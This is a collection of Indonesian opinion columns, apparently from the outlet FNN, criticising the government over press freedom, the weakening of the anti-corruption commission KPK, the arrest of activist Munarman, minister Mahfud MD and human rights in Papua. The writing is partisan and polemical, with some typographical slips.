ini. Frederich Bastiat, Jurnalis kawakan, sekaligus anggota parlemen tahun 1850-an ini, sekadar sebagai ilustrasi mati-mati berdiri di garis depan mempromosikan pasar bebas. Dia jelas menjadi penantang paling tangguh atas ide sosialis. Baginya, sosialis tidak pernah baik dalam semua bentuknya. Mereka hendak mengambil kekayaan orang kaya untuk diberikan kepada orang miskin. Bagi Bastiat, cara satu-satunya adalah menciptakan pasar sebebas mungkin. Dia meyakini kompetisi yang tercipta dengan bebas, merupakan cara terbaik memakmurkan orang. Semua orang, begitu Bastiat meyakini memiliki kesempatan yang sama untuk menjadi apa saja yang dia mau. Ketika Prancis naik ke permukaan demokrasi, Amerika, koloni Inggris ini telah mengawali pemerintahan demokratis. Pemerintahan ini dipandu dengan konstitusi yang dibuat tahun 1787 di konvensi Philedevia. Diawali untuk pertama kalinya oleh Presiden George Washington dengan John Adam sebagai wakilnya. Tetapi sedari awal omong kosong demokrasi segera tersaji. Sejak saat itu sampai dengan paruh kedua abad ke-20, orang negro tak berstatus sama dengan orang kulit putih. Rasdiskriminasi merajalela pada semua kehidupan demokrasi Amerika. Tahun 1964, sepuluh tahun setelah putusan MA yang bersejarah, yang dibuat oleh Earl Warren, barulah muncul Civil Righst Act. Orang hitam mulai disetarakan. Memeriksa semua sudut pertalian demokrasi dan hukum dalam sejarah Amerika adalah memeriksa aspek omong kosong keduanya. Sebabnya keduanya dikendalikan oleh oligaki finalsial dan lasinnya. Pembentukan The Federal Reserve Act 1913 itu, contoh kecil. Contoh besarnya ditunjukan oleh pemerintahan Franklin Delano Rosevelt. Hukum-hukum itu dibuat untuk dan atas atas nama restrukturisasi seluruh struktur ekonomi Amerika sepanjang tahun 1993-1945, justru merupakan kedok penyelamatan dan konsolidasi oligarki. Kondisi yang sama juga terjadi di Indonesia (bersambung). Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Pandemi Demokrasi & Information as a Public Good

by Zainal Bintang Jakarta FNN - Peringatan Hari Kebebasan Pers Sedunia, 03 Mei 2021 mengusung tema “Information as a Public Good”. Artinya, “Informasi Sebagai Milik Publik”. Perserikatan Bangsa-bangsa (PBB) menetapkan tanggal 3 Mei sebagai Hari Kebebasan Pers Sedunia pada Sidang Umum tahun 1993 untuk memperingati penyelenggaraan “Deklarasi Windhoek” di Namibia (1991). Deklarasi Windhoek itu adalah inisiatif pekerja pers Afrika untuk memperjuangkan media yang bebas, independen, dan pluralistik di tengah tekanan dan kekerasan yang terus-menerus terjadi pada para jurnalis di beberbagai belahan. Tekanan terhadap kebebasan pers seperti santapan yang harus dinikmati setiap saat oleh pekerja pers. Tidak pernah berhenti. Kapan saja tekanan selalu datang menghampiri. Deklarasi Windhoek itu berisi empat pontui. Pertama, negara harus proaktif dalam melindungi jurnalis dan mengupayakan agar warga negara dapat menggunakan kebebasan berekspresi. Kedua, negara harus menghindari pengendalian media. Ketiga, mencegah monopoli negara atas media. Keempat, negara memastikan dukungan hukum dan dukungan praktis lainnya untuk sektor-sektor seperti pelayanan publik dan media komunitas. Perlu diingat bahwa tema Hari Pers Sedunia Tahun 2020 di Belanda adalah “Journalism Withuot Fear and Favour”. Artinya, “Jurnalisme Tanpa Ketakutan dan Bantuan”. Tema yang sangat menggambarkan kondisi objektif dari kegelisahan masyarakat pers dunia saat ini. Kondisi yang juga terjadi pada masyarakat pers di Indonesia. Memang penting, merawat memori kolektif publik. Karena masyarakat masih terus menyaksikan banyaknya negara yang melakukan sensor, memberlakukan denda, atau menghentikan beroperasinya media massa. Komunitas pers, seperti jurnalis, editor, dan penerbit bahkan masih menjadi korban penyerangan, dipenjara, hingga dibunuh. Hari Kebebasan Pers Sedunia menjadi momentum dukungan kepada media yang menjadi sasaran pengekangan, sekaligus mengenang para jurnalis yang kehilangan nyawa dalam menjalankan tugasnya. Padahal para pekerja media itu bekerja dengan suka rela. Memberikan kontribusi yang signifikan. Mengolah informasi dan data ilmiah yang kompleks menjadi lebih mudah untuk dicerna oleh publik. Menyediakan data yang diperbaharui secara berkala, dan melakukan pengecekan fakta. Kebebasan pers tidak hanya krusial bagi para juru warta. Tetapi juga masyarakat umum. Pers yang bebas secara moral terikat mendukung kesinambungan partisipasi warga negara untuk berperan aktif dalam demokrasi. Akan tetapi dalam perkembangannya, serangan masifitas pandemi Covid-19 sejak Maret 2020 telah memaksa mayoritas negara berperilaku represif menyikapi protes warga. Protes yang kebanyakan disuarakan lewat media pers. Protes untuk menanggapi kebijakan penanganan pandemi yang tidak maksimal. Kenyataan ini, tidak terkecuali Indonesia, yang mencatat banyak isu kebebasan berpendapat dan berekspresi di media yang perlu ditangani. Karena terkait dengan maraknya praktik kriminalisasi publik dengan menggunakan “kekebalan” pasal karet ” UU ITE. Ancaman kebebasan berpendapat dan berekspresi di ruang virtual pun terus bermunculan, sehingga warga semakin takut bersuara. Bayang-bayang kelam di kecerahan langit dunia pers mulai terlihat di depan mata. Ancaman punahnya sejumlah komitmen kemandirian pers demi demokrasi tersandung opsi pengarusutamaan pengendalian serangan pandemi Covid 19. Ini terjadi di semua negara. Hanya pola gradasi dan antisipasinya yang berbeda- beda. Yang paling mengenaskan, pemerintahan yang rapuh demokrasinya. Pemerintahan yang rapuh ini menemukan ruang perlindungan legitimasi praktik otoritarianisme. Alasan keselamatan jiwa rakyat menjadi pendulum gerakan represif yang terlegitimasi. Pemerintah berlindung di balik prinsip, “salus populi, suprema lex esto (keselamatan rakyat adalah hukum tertinggi). Penulis buku “Sapiens dan Homo Deus”, sejarawan dan sastrawan Israel Yuval Noah Harari, melalui artikelnya berjudul “The World After Coronavirus”, yang ditulisnya di Financial Time, edisi 20 Maret 2020, menggambarkan perubahan kondisi yang mungkin terjadi setelah pandemi virus Corona (Covid-19) berakhir. Harari menyebutkan kasus pandemi Covid-19 berpotensi mendorong, bahkan dapat menjadi preseden bangkitnya pemerintahan yang otoritarianisme. Harari menambahkan, kuatnya signal kebangkitan otoritarianisme atau totalitarianisme itu ditandai dengan munculnya indikasi surveillance state atau negara pengawasan. Pemicunya diakibatkan tingginya tingkat penularan Covid-19. Mengisyaratkan pemerintah harus menjaga agar physical distancing tetap terjaga dengan menempatkan berbagai kamera CCTV. Menariknya, di luar aspek ekonomi, Harari justru menyebutkan, akibat tingginya tuntutan publik atas pengendalian pandemi Covid 19, membuat pemerintah dan masyarakat “terpaksa” sepakat untuk menghadirkan “negara pengawasan”. Negara melakukan pelonggaran hak privasi. Sebelumnya, Harari juga telah mengkritik Perdana Menteri Israel Benjamin Netanyahu karena menggunakan pandemi Covid-19 sebagai alasan untuk “membunuh” demokrasi di Israel. Netanyahu yang kalah dalam pemilihan umum, justru memanfaatkan momen Covid-19 untuk menutup parlemen Israel. Memerintahkan masyarakat untuk tetap di rumah, dan menetapkan keadaan darurat. Atas hal tersebut, Netanyahu disebutnya sebagai seorang diktator. Karena menetapkan keadaan darurat padahal ia tidak memperoleh mandat dari masyarakat karena kalah dalam pemilihan. Harari memberikan pandangan negatif terkait bangkit atau setidaknya potensi kebangkitan pemerintah otoriter dalam menangani pandemi Covid-19. Berbagai pihak justru menempatkan diri berseberangan dan menyebutkan otoritarianisme memang bentuk pemerintah yang dibutuhkan untuk memerangi virus yang pertama kali diidentifikasi di Wuhan, Tiongkok itu. Shaun Walker dalam tulisannya di The Guardian mengutip ilmuwan politik asal Bulgaria, Ivan Krastev yang menyebutkan “bersama pandemi Covid-19, masyarakat di berbagai belahan dunia telah memiliki toleransi atau penerimaan atas pemerintah yang berlaku otoriter dalam upayanya memerangi Covid-19”. Otoriter mendapat toleransi dari masyarakat. Berbagai elemen masyarakat, seperti Kepala Daerah maupun Ikatan Dokter Indonesia (IDI) telah menyerukan pemerintah untuk menerapkan lockdown guna mencegah penularan Covid-19. Mirip pernyataan Walker, masyarakat seyogianya telah memiliki toleransi atau penerimaan apabila nantinya pemerintah berlaku otoriter untuk memerangi virus tersebut. Narasi antisipasi seperti apakah yang mesti dipilih pemerintahan Jokowi untuk memerangi pandemi Covid-19 di Indonesia? Senang atau tidak senang pandemi Covid 19 telah memaksa penggiat demokrasi di banyak negara untuk menata ulang. Melakukan restrukturisasi pola kerja dan operasi demokrasi. Bukan cuma itu, bahkan dampak negatif pandemi Covid 19 serta-merta merubah artikulasi demokrasi. Kehadiran “sekutu” baru demokrasi, yang bernama “negara pengawasan” tersebut, justru terhantar atas jaminan konstitusi atas nama “keselamatan rakyat”. Surveillance State dan Demokrasi telah “serumah” sebagai sekutu temporer. Perpaduan pada keduanya adalah narasi baru dari demokrasi yang sudah masuk di ruangan tidur publik. ​Menarik merujuk kembali kepada pernyataan Harari yang menyebutkan, “konsekuensi luas dari pandemi telah membuat kesehatan masyarakat dibingkai ulang sebagai masalah keselamatan dan keamanan nasional secara global”. Hal itu sendiri, katanya, tidak selalu buruk. Tetapi di banyak negara sekuritisasi kesehatan, masyarakat telah menghasilkan momentum tiba-tiba untuk melanggar batas privasi hingga saat ini. Karena dianggap “tidak dapat diterima di negara demokrasi”. Kenyataan ini termasuk juga pada penggunaan alat komunikasi yang mengintegrasikan kesehatan publik dan database telekomunikasi pribadi. Juga penggunaan data lokasi pribadi oleh pemerintah dari ponsel cerdas untuk melacak dengan cermat interaksi seluruh populasi atau untuk menegakkan kepatuhan karantina sukarela, ujar Harari. Di luar perdebatan mengenai kebangkitan otoritarianisme tersebut, Rachel Kleinfeld dalam tulisannya “Do Authoritarian or Democratic Countries Handle Pandemics Better”? (31/03/20. Ilmuwan perempuan Amerika itu memberikan penekanan yang cukup menarik. Menurutnya perihal penanganan Covid-19, sebenarnya bukanlah menjadi perdebatan, apakah putusan yang diambil tersebut adalah otoriter atau demokratis, karena perdebatan yang seharusnya dilakukan adalah “seberapa efektif putusan tersebut mengatasi pandemic”? Kleinfeld menegaskan, dalam situasi krisis seperti pandemi Covid-19, sudah seharusnya kebijakan-kebijakan yang dibuat negara merujuk pada sains medis. “Oleh karenanya tidak perlu lagi ditemukan perdebatan terkait apakah penerapan lockdown ataupun hadirnya surveillance state misalnya, merupakan bentuk pemerintah otoriter atau tidak”. Kembali kepada peringatan Hari Kebebasan Pers se-Dunia. Lantas, bagaimana menempatkan pesan legendaris Nelson Mandela yang terucapkan belasan tahun sebelum ada pandemi Covid 19? Revolusioner antiapartheid dan politisi Afrika Selatan yang menjabat sebagai Presiden Afrika Selatan sejak 1994 sampai 1999 itu, terkenal dengan ucapannya tentang peran pers yang sentral. Kata Nelson Mandela, "Pers kritis, independen, dan investigatif adalah sumber kehidupan demokrasi apa pun. Pers harus bebas dari gangguan negara. Perrs harus memiliki kekuatan ekonomi untuk bertahan menghadapi kebodohan pejabat pemerintah. Pers itu harus memiliki independensi yang cukup dari kepentingan pribadi untuk berani dan bertanya tanpa rasa takut atau bantuan. Pers harus menikmati perlindungan konstitusi, sehingga dapat melindungi hak-hak kita sebagai warga negara”. ​Wartawan senior teman lama, kembali mengirim pesan WhatsApp, ia mengutip Martin Luther King Jr. dan ia menulis begini, "kebebasan tidak pernah secara sukarela diberikan oleh penindas, itu harus dituntut oleh yang tertindas". Mungkinkah??? Penulis adalah Wartawan Senior & Pmerhati Sosial Budaya.

Kematian KPK dan Akhir Republik

by Prof. Daniel Mohammad Rosyid Surabaya, FNN - Hari ini Mahkamah Konstitusi menolak Judicial Review atas UU KPK 2020 yang diajukan oleh Moh. Yasin dkk- mantan unsur pimpinan KPK periode sebelumnya. Baginya, UU KPK 2020 itu nyata-nyata upaya untuk melemahkan KPK. Hanya satu hakim konstitusi, yaitu Hakim Wahiduddin Adams yang memiliki _dissenting opinions_, sementara 8 lainnya menolak JR tersebut. Sebagai produk amandemen UUD 45 era reformasi maka hari ini MK terbukti memantabkan upaya pelemahan KPK. Dugaan Effendi Gazali bahwa KPK menderita sontoloyoitis ternyata benar. Bagi saya paling tidak KPK telah berubah menjadi Komisi Pelestarian Korupsi. Ditambah dengan kegagalan banyak penyelidik KPK senior untuk diterima sebagai kembali sebagai staf KPK, maka sinyalemen beberapa pengamat benar bahwa kedua peristiwa ini adalah upaya pembunuhan KPK. Saya sebut pelestarian korupsi karena KPK yang semula diposisikan sebagai lembaga adhoc, kini akan difungsikan oleh penguasa, untuk selama-lamanya 1) melindungi para koruptor dari kalangan eksekutif dan legislatif yang pro Pemerintah, dan 2) sebagai alat untuk jual beli dengan oposisi jika masih ada, 3) make-up dan gincu seolah Pemerintah masih peduli dengan pemberantasan korupsi. Sementara itu Transparansi Internasional justru menunjukkan bahwa korupsi di Republik ini makin parah, dan demokrasinya makin lemah. Sebagai lembaga adhoc ekstra konstitusional, *KPK seharusnya menjadi institusi independen yang kuat justru supaya umurnya bisa diperpendek*. Katakan 20 tahun. Sejak dibentuk, kasus korupsi di Republik ini justru tidak ada tanda-tanda perbaikan. Baik kepolisian, kejaksaan dan kehakiman masih korup seperti sebelum reformasi. Pada saat kepolisian makin powerful seperti saat ini, bisa dibayangkan jika polisi masih saja korup. Pada saat korupsi oleh tokoh parpol koalisi tetap marak, kasus kriminalisasi ulama dan tokoh kritis yang berbeda pendapat dengan Pemerintah justru makin meriah. Malpraktik administrasi publik sebagai biang korupsi justru makin mengakar. Rezim saat ini justru makin otoriter dan power abusive pada saat hukum hanya tajam ke bawah tapi tumpul ke atas. Hukum dibuat dan ditafsirkan untuk kepentingan penguasa dan kroni-kroninya, bukan untuk publik. Kita melihat gejala yang makin kuat, sesuai adagium Lord Acton bahwa power tends to corrupt and absolute power corrupts absolutely. Wacana Presiden 3 periode dan presidential threshold 20% adalah indikasi bahwa adagium ini keras berlaku. Padahal Republik ini didirikan untuk mengantarkan bangsa ini ke depan pintu gerbang kemerdekaan, bukan pada penindasan, apalagi oleh bangsa sendiri. Korupsi dan malpraktek administrasi publik yang luas telah jelas menggerogoti kemerdekaan bangsa ini. Perilaku penguasa saat ini sangat bertentangan dengan prinsip-prinsip Republik. Pancasila tidak mungkin dipraktekkan oleh rezim seperti itu. Bahkan Pancasila dijadikan alat untuk menggebuk elemen bangsa lain yang berbeda pendapat dengan pemerintah. Bersama dengan kematian KPK itu menunggu giliran pula Republik ini. Penulis adalah Direktur Rosyid College of Arts.

Tak Cukup Bermodal Toleran

HIDUP di Indonesia saat ini tak cukup hanya bermodal jujur dan toleran, jika ingin aman. Kenyataan ini dialami oleh Munarman mantan Sekretaris Umum Front Pembela Islam (FPI). Ia sosok aktivis yang jujur, apa adanya, egaliter, dan toleran. Toh ia mendapatkan perlakuan yang sangat tidak manusiawi, sama seperti Habib Rizieq Shihab. Munarman dicokok di rumahnya dengan sangat kasar oleh Densus 88, hanya beberapa menit menjelang berbuka puasa. Bahkan untuk sekadar memakai sandal saja, Munarman dilarang. Ia tetap diarak dan didorong-dorong masuk mobil polisi oleh beberapa orang bertubuh kekar. Tak lupa, celetukan liar "setan" pun disemprotkan ke telinga Munarman. Demikian yang terdengar dan terlihat dari video media sosial saat proses penangkapan Munarman pada Jumat, 27 April 2021 lalu. Entah standar yang mana yang dipakai polisi untuk menegakkan hukum dan keadilan. Rasanya sulit sekali mengikuti irama kerja dan aturan main aparat hukum yang satu ini. Apa yang baik dan benar menurut kita, belum tentu baik dan benar menurut polisi. Mereka seperti memiliki tafsir sendiri tentang hukum, tentang kebaikan. Padahal acuannnya sama. Mereka menjalankan acuan itu “semau gue”. Sungguh sangat tidak fair. Polisi menuduh Munarman menggerakkan orang lain untuk melakukan tindak pidana terorisme dan menghadiri baiat ISIS di tiga kota, Jakarta, Medan dan Makassar. Padahal di Papua teroris sudah bergerak dan mematikan Kepala Badan Intelijen Daerah (Kabinda) serta Brimob. Tak terhitung lagi berapa bunga bangsa gugur di tanah Papua. Pun demikian tak ada karangan bunga, tak ada pimpinan OPM maupun penggeraknya yang dicokok. Munarman dibawa ke Polda. Tangannya diborgol, matanya ditutup kain hitam. Adegan yang sungguh menyayat hati. Belakangan tuduhan terhadap Munarman berubah-ubah. Para buzzer bahkan menuduh Munarman check in di hotel bersama perempuan lain. Padahal itu istri sah Munarman. Tabiat rezim ini senang sekali memainkan selangkangan untuk membunuh karakter seseorang, sebagaimana HRS difitnah dengan chatting mesum. Tapi semua sangkaan itu terbantahkan dengan data dan fakta. Kini polisi' sedang mencari-cari tuduhan lain untuk Munarman. Belum ketemu. Munarman bukan koruptor, teroris, atau pembunuh. Ia hanya aktivis Ormas Islam yang sudah dibubarkan secara radikal oleh pemerintah melalui tangan 6 lembaga negara. Munarman dikenal secara luas di kalangan LSM, kelompok pro- demokrasi, jurnalis, apalagi umat Islam. Orangnya jujur, simpatik, juga taat beragama. Ia sangat moderat, egaliter, toleran dalam bergaul dengan penganut agama lain. Bahkan ia merekomendasikan pendirian gereja di Cinere saat ada pihak-pihak yang menolaknya. Seluruh hidupnya ia abdikan untuk urusan kemanusiaan, hukum, dan keadilan. Ia mencoba berpartisipasi untuk bangsa, dimulai dari Ketua LBH Pelambang, Ketua YLBHI Jakarta, Koordintor Kontras Aceh. Ia juga gigih berjuang mewujudkan perdamaian dengan cara ikut meyakinkan petinggi-petinggi Gerakan Aceh Merdeka (GAM). Ketika ada Daerah Operasi Militer (DOM) di Aceh dulu, semua LSM keluar dari Aceh, kecuali hanya Munarman yang bertahan di Tanah Rencong, karena Munarman bisa diterima oleh GAM maupun Indonesia. Munarman salah satu yang mendorong tokoh-tokoh GAM supaya mau duduk bersama-sama dengan pemerintah Indonesia yang kemudian terjadi perundingan Helsinki. Munarman juga berjasa mendorong FPI dari gerakan kanan yang keras ke kiri yang humanis. Berdirinya FPI direstui oleh aparat keamanan negeri ini, tahun 1998. Pertama kali dideklarasikan oleh Habib Rizieq Shihab pada 17 Agustus 1998 atau 24 Rabiuts Tsani 1419 H di halaman Pondok Pesantren Al Um, Kampung Utan, Ciputat, Tangerang Selatan oleh sejumlah habaib, ulama, mubaligh, dan aktivis muslim dan disaksikan ratusan santri yang berasal dari wilayah Jabodetabek. FPI merupakan jelmaan Pam Swakarsa atas ide Panglima TNi Jenderal Wiranto dan persetujuan Presiden Habibie. Di FPI Munarman punya andil besar dalam mengubah pola dakwah. Anak-anak FPI memang suka merusak warung miras, kafe, apalagi diskotik. Anak-nak FPI memang suka teriak keras dan memekikkan Takbir saat memberantas kemaksiatan. Tapi itu dulu, tahun 1999. FPI kini sudah berubah. Jika dulu banyak pentungan bambu ditumpuk antara gang sempit di wilayah Petamburan, sekarang tak ada lagi. Kalau dulu anak-anak FPI suka merusak papan nama panti pijat, menginjak-injak meja bilyard, dan memecahkan lampu-lampu diskotik, sekarang tidak pernah lagi. Mereka kini lebih banyak terlihat dan terlibat di lokasi bencana banjir, longsor, tsunami, kebakaran, dan panti asuhan yatim piatu. FPI mencari dan membagikan donasi untuk program kemanusiaan. Mereka memegang teguh prinsip "hidup ini akan bermakna jika berbuat kebaikan untuk banyak orang". Transformasi pilihan perjuangan FPI yang dianggap keras ke arah lembut adalah upaya panjang Munarman. Sejarah perjuangan FPI dan Munarman tercatat dengan jelas di kliping koran dan jejak digital. Semua bisa dipertanggungjawabkan. Tak ada visi misi menjadi teroris, tak ada perintah intoleransi dan radikal, serta tak ada niatan mengubah negara Pancasila dan NKRI. Munarman bukan teroris, bukan pula menghadiri baiat teroris. Kehadiran Munarman dalam acara baiat ISIS di Makassar adalah dalam rangka meneliti teroris internasional. Ia harus mendapatkan data akurat tentang terorisme. Ia juga harus menyaksikan sendiri acara itu dan ketemu langsung dengan mereka yang dibaiat. Sama halnya dengan kerja polisi yang ingin memancing pengedar narkoba, mereka harus menyamar untuk mendapatkan informasi yang benar dan akurat. Bahkan polisi juga harus ikut pesta narkoba. Nenggak miras bersama. Demikian juga kerja jurnalis yang benar, jika ingin menulis tentang pelacuran, harus bergaul dengan pelacur. Ia harus masuk ke kamar pelacur. Pelototi dan rekam seisi kamar. Catat merek parfumnya, rokoknya, bedaknya, bahkan catat pula merek celana dalamnya jika ada yang bergelantungan. Ini kerja investigasi yang benar. Tidak elok dan tidak bernalar jika seseorang melakukan kerja investigasi lalu dicap sebagai pelaku. Pemenjaraan Munarman menyisakan keprihatinan yang dalam tentang cara kerja polisi. Deretan aktivis, jurnalis, dan tokoh agama semua bersaksi tentang siapa Munarman, toh tak mengubah sikap polisi atas perlakuannya. Kesalahan Munarman hanya satu, menolak tunduk pada kezaliman. Jadi, jika mau aman dan hidup tajir di Indonesia, jadilah buzzer, penjilat, atau dungu. Jujur dan toleran saja tidak cukup. Dengan menjadi buzzer, mereka akan mendapatkan kapital yang besar. Modalnya cuma fitnah dan memutarbalikkan fakta. Dengan menjadi penjilat, mereka akan terlindungi dengan selalu memuja rezim meski tahu itu salah. Dengan menjadi dungu, mereka tinggal mengangguk apapun yang dilakukan rezim. Mereka haram membicarakan kekurangan rezim. "Negoro wis ono sing ngatur, rasah ngomong politik. Wis akeh wong pinter." Inilah ungkapan khas kaum dungu di setiap sudut dan celah pembicaraan.

Densus 88 Berhasil Jungkirbalikan Indonesia Negara Demokrasi

by M. Rizal Fadillah Bandung FNN - Pada masa Orde Baru dahulu aktivis mahasiswa yang ditahan dan diadili melakukan pembelaan atas penindasan hak mahasiswa. Mengkritisi rezim yang menekan rakyat dengan menggunakan aparat keamanan. Pledoi Caretaker Presidium Dewan Mahasiswa ITB Sukmadji Indro Tjahjono cukup menarik karena berjudul "Indonesia di Bawah Sepatu Lars". Pledoi itu kemudian dibukukannya, meskipun pernah dilarang. Namun melihat penangkapan Munarman di kediamannya oleh sepasukan berseragam dan bersenjata lengkap Densus 88, dan sama sekali tidak memberi kesempatan memakai sandal kemudian menutup mata, jadi teringat masa represivitas Orde Baru dahulu. Semestinya tak perlu dilakukan penangkapan dengan cara yang primitif seperti itu. Toh, Munarman sehari-hari ada di sekitar kita. Tiap agenda persidangan Habib Rizieq Shihab (HRS) di Pangadilan Negeri Jakarta Timur, Munarman selalu muncul sebagai pembela. Jadi bukannya teroris yang sembunyi, menyiapkan peledakan, atau sedang membangun jaringan bawah tanah untuk melakukan teror ini dan itu kembali. Munarman itu Advokat yang terang-benderang selalu berada di raung publik. Munarman tidak pernah sembunyi. Selalu dikenal media, serta berada di ruang rutinitasnya. Tentu operasi penangkapan oleh Densus 88 dapat membangun citra bahwa memang Indonesia berada di bawah Sepatu Lars kembali. Seperti eranya Orde Baru dulu. Densus 88 telah menjungkir-balikan, dan porak-porandakan Indonesia sebagai negara yang kaya demokrasi. Pergeseran dari Lars TNI menjadi Lars Polri tidak boleh terjadi. Sebab wajah Indonesia sebagai negara hukum harus tetap dijaga. Indonesia bukan negara kekuasaan. Terlalu mahal biaya politiknya jika rezim Jokowi yang berpenampilan politik sipil. Tetapi mengimplementasikan peran-peran politiknya secara militeristik dan polisional. Apalagi jika dengan cara memojokkan umat Islam. Radikalisme, intoleransi, hingga terorisme yang disematkan pada aktivis Islam akan membuat "traumatic experience" yang tidak perlu. Kecurigaan dan dendam politik berkepanjangan. Akibatnya, kepercayaan pada pemerintahan rendah bahkan hilang. Ketika terjadi krisis nasional yang memerlukan penanganan kolektif, pemerintah akan mengalami kesulitan untuk mendapatkan support publik. Indonesia di bawah Sepatu Lars kini adalah berada pada sikap berlebihan Angkatan Bersenjata Kepolisan: Brimob dan Densus 88. Sebaiknya dua kesatuan ini diintegrasikan pada TNI saja, agar lebih proporsional dalam kaitan pertahanan dan keamanan negara. Ketika berada di bawah Kepolisian, maka masyarakat bukan merasa aman atau nyaman melainkan tertekan dan justru terteror. Kasus penangkapan Munarman adalah contoh iklim yang dibangun secara tidak sehat. Indonesia di bawah Sepatu Lars tidak boleh terjadi lagi. Itu pengalaman yang sangat buruk dan primitif dalam berbangsa dan bernegara. Demokrasi sebagai polihan politik, konsekwensinya Indonesia adalah negara merdeka, yang sangat menghormati hak-hak warga negara. Hak-hak masyarakat sipil, dan hak Hak Asasi Manusia (HAM). Aparat bersenjata harus melindungi keamanan rakyat. Bukannya sebaliknya menakut-nakuti rakyat. Mengubah citra Indonesia negara di bawas Sepatu Lars adalah mengembalikan secara proporsional porsi dan fungsi TNI-POLRI sesuai dengan ketentuan perundang-undangan. Implementasi yang bersahabat dengan rakyat, sang pemilik negara. Tanpa harus mengubah dengan citra palsu yang sok kasual atau milenial, menjadi Indonesia di bawah Sepatu Kets atau di bawah Sepatu Kelinci. Mahfud Berprilaku Iblis Berita Tempo.co yang menyatakan bahwa menurut Menteri Koordinator Politik Hukum dan Keamanan (Menkopolhukam) Mahfud MD, rakyat tidak harus sepenuhnya kecewa karena pemerintah sekarang yang koruptif dan oligarkhi. Padahal tentu saja mengecewakan. Begitulah bentuk lain dari negara di bawah tekanan Sepatu Lars. Rakyat dipaksa menerima sesuatu yang aneh bin ajaib. Bagaimana tidak, terhadap kondisi pemerintah yang menyimpang dari tujuan bernegara itu, rakyat tidak boleh kecewa. Alasannya ada kemajuan dari waktu ke waktu. Anehnya kemajuan itu bukan berdasarkan penilaian rakyat. Tetapi berdasarkan penilaian dari pemrintah. Ada tiga hal penting tentang betapa kelirunya pandangan Mahfud MD tersebut Pertama, di belahan dunia manapun, pemerintahan koruptif itu mengecewakan, karena menghianati mandat dan kepercayaan yang diberikan rakyat. Bantuknya merampok uang rakyat. Misi moral politik pemerintah adalah membersihkan aparat dari mental korup. Tidak mentoleransi korupsi. Pemerintah koruptif layak diprotes, didemonstrasi, bahkan wajib untuk diganti. Kedua, oligarki harus dicegah karena membenarkannya sama saja dengan menghianati demokrasi. Kekuasaan itu di tangan rakyat. Bukan di tangan segelintir atau sekelompok orang. Oligarki itu inheren dengan otokrasi, pemerintahan di satu tangan. Pemerintahan yang tidak berbasis demokrasi adalah menyimpang dari Pancasila dan UUD 1945. Tidak bisa dibiarkan. Harus diganti. Ketiga, alasan adanya kemajuan tidak bisa menjadi pembenar dari pemerintahan koruptif dan oligarkhi. Dua permasalahan yang timbul. Pertama, kemajuan itu harus berbasis pemerintahan yang bersih dan demokratis. Bukan pemerintahan yang korup atau oligarkis. Kedua, sejauhmana kemajuan itu diakui? Faktanya ekonomi amburadul, politik sosial keagamaan diskriminatif dan pembelahan di masyarakat. Penanganan terhadap kelompok opisisi sangat represif. Pengangguran dan kemiskinan meningkat. Daya beli masyarakat tertekan dan menurun drastis. Kenyataan ini membuktikan kalau Mahfud MD memang Menteri kontroversial. Figur yang gampang berubah-ubah. Sangat tergantung pada terkait tidak dengan kepntingan pribadinya. Yang salah bisa jadi benar. Sebaliknya yang benar bisa jadi salah. Mahfud berubah drastis dari cendekiawan yang arif dan sangat moralis, menjadi politisi yang protektif dan apologetik. Baginya semua suara kekuasaan adalah benar atau dapat dibenarkan. Tentu bukan seperti ucapannya sendiri bahwa kekuasaan bisa mengubah watak manusia dari malaikat menjadi iblis. Sekarang dengan membernarkan sikap korutif, Mahfud menjadi iblis yang berwajah manusia. Jika Presiden kuat dan berwibawa Mahfud MD layak menjadi bagian dari target reshuffle berikutnya. Namun seperti pengakuan Mahfud MD bahwa pemerintahan koruptif dan oligarkis, maka tak mungkin ada reshuffle terhadap orang oligarkis dan para loyalisnya. Rakyat yang beroposisi hanya bisanya hanya mengurut dada. Mahfud lagi, Mahfud lagi. Iblis yang berwajah manusia. Iblis sekarang sukanya korupsi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Soal HAM, Ketua MPR Bamsoet Tidak Paham Konstitusi

by Marthen Goo Jakapura FNN - Dalam konflik kombatan antara TPN-OPM dan TNI-Polri, tepat pada hari minggu 25 april 2021, kita dengar bahwa Kepala BIN daerah ditembak mati TNP-OPM seperti dirilis oleh berbagai media. Tentu dalam prinsip konflik kombatan, menjadi wajar karena dalam tembak-menembak, pasti satu dari antara pihak kombatan yang bergururan. Begitu juga hukum humaniter. Dalam merespon kasus tersebut, kita dikagetkan dengan pernyataan Ketua MPR, Bambang Soesatyo, yang mengatakan, "saya meminta pemerintah dan aparat keamanan tidak ragu dan segera turunkan kekuatan penuh menumpas KKB di Papua yang kembali merenggut nyawa. Tumpas habis dulu. Urusan Hak Asasi Manusia (HAM) kita bicarakan kemudian". (CNN – Indonesia, senin, 26/4/2021). Ini pernyataan yang sangat keliru. Mungkin Ketua MPR tidak mengerti perbedaan HAM dan konflik kombatan. Barang kali ketua MPR juga tidak mengerti apa itu semangat Konstitusi dalam bernegara. Kalau ketua MPR saja berpandangan seperti begini, dan tidak menunjukan layaknya ketua MPR sebagai pembentuk konstitusi, akan turut merusak dan mencederai kemanusiaan dalam bernegara. Semangat reformasi dan perubahan UUD’45 adalah untuk membangun negara berdasarkan HAM. Karenanya roh dari UUD’45 adalah HAM. Sebab HAM di dalam UUD’45 ditempatkan di tempat yang tinggi. Karena selain merupakan nilai dasar yang dirumuskan dalam pancasila, juga merupakan tujuan utama dalam berbangsa dan bernegara. Soal HAM itu merupakan prinsip yang utama dalam bernegara. Ko bisa-bisanya seorang ketua MPR mengabaikan prinsip HAM dalam UUD’45? Barangkali Ketua MPR harus rubah UUD’45 lagi. Kemudian rubah juga negara republik jadi negara Tirani. Supaya kekuasaan bisa dipakai untuk mengabaikan HAM. Batasan HAM & Konflik Kombatan HAM dan konflik kombatan, itu dua hal yang berbeda jauh. HAM di Indonesia dirumuskan dengan jelas pada UU No. 39 Tahun 2009 tentang Hak Asasi Manusia dan UU No. 26 Tahun 2000 Tentang Pengadilan HAM. Prinsip HAM juga dikenal sebagai nilai luhur dalam Pancasila. Kemudian diturunkan dalam tujuan bernegara dan konstitusi. Sementara konflik kombatan itu masuk dalam hukum humaniter. Kejahatan HAM dalam perspektif HAM adalah kejahatan yang dilakukan oleh State-Actor kepada warga sipil. Sehingga, jika itu masuk dalam terstruktur, sistematis dan masif, maka termasuk dalam kejahatan HAM berat. Prinsipnya adalah aktor negara sebagai pelaku kejahatan terhadap kemanusiaan. Tetapi jika konlik itu diantara warga sipil, maka itu kemudian disebut “kriminal”. 